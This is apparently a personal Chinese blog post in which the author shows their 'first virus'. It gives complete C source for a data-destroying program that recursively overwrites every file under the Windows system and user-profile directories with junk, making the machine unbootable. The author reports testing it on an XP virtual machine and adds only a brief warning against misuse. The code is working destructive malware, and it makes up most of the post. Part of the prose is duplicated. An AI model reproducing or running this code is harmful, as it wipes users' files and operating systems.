今天我编写了自己的第一个病毒
2015-10-08 00:21
337 查看
代码很简单 很SB没技术含量的 就是遍历目录树(遍历系统目录)然后对所有搜索到的文件用文件指针覆盖写入1024个字符 使文件失效
从而造成系统崩溃瘫痪 在虚拟机上做过好多次试验了 XP虚拟机当场瘫痪
重启后提示找不到DLL无法启动 可据某人说这个没用
我也不知道咋回事.....(人品问题?)
PS 后来我又多加入了几组环境变量 把这几组都杀了 应该可以了把..
以下是改进过后的代码 (不要随意害人,后果自负)
感觉威力有点大 把我吓到了..我都不太敢用windows了..编译出来自己一定不要运行 否则会付出惨重的代价
从而造成系统崩溃瘫痪 在虚拟机上做过好多次试验了 XP虚拟机当场瘫痪
重启后提示找不到DLL无法启动 可据某人说这个没用
我也不知道咋回事.....(人品问题?)
PS 后来我又多加入了几组环境变量 把这几组都杀了 应该可以了把..
以下是改进过后的代码 (不要随意害人,后果自负)
感觉威力有点大 把我吓到了..我都不太敢用windows了..编译出来自己一定不要运行 否则会付出惨重的代价
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <dirent.h> #include <unistd.h> #include <string.h> void kill(const char *pathname) { if(strcmp(".",pathname)==0 ||strcmp("..",pathname)==0) return ; DIR *dir = opendir(pathname); if(dir!=NULL) { if(chdir(pathname))return; struct dirent *filename; while(filename = readdir(dir), filename!=NULL) { kill(filename->d_name); } if(chdir(".."))return; closedir(dir); } else { FILE* fp = fopen(pathname,"wb"); if(fp) { char haha[1024]="Xiaobawang Coming!!!!!"; fwrite(haha,sizeof(*haha),sizeof(haha)/sizeof(*haha),fp); fclose(fp); } } } int main() { chdir("\\"); chdir("/"); char *list[] = {"USERPROFILE","SystemRoot","windir","HOMEDRIVE"}; int i = sizeof(list)/sizeof(*list); while(i-->0) { char * winpath; if(winpath = getenv(list[i]),winpath != NULL) { kill(winpath); } } return 0; }
相关文章推荐
- KMP字符串匹配算法
- 学习了目录操作函数 编写了一个源…
- 技术总监谈好的程序员如何写代码
- 李开复:算法的力量|万变不离其宗
- 一篇关于程序员性格的文章 …
- 一篇关于程序员性格的文章(…
- 今天学习了BASE64加密解密算法
- 漫谈信号与系统系列 (转载)
- 今天学习了Qt 2010 7 7
- 谈谈Qt的中文编码 又是转的
- 转的编译安装Lamp
- 今天学习了安装AMP服务器
- 四则表达式计算模板第二版
- C++流格式控制(2006-9-25 15:25:00…
- [Lintcode] Search Range in Binary Search Tree
- 模板方法模式
- stringstream的复制
- json字符串转换为JSONObject和JSONArray
- [网络]Unity的Socket通讯_2_数据传输
- Trump成功笔记4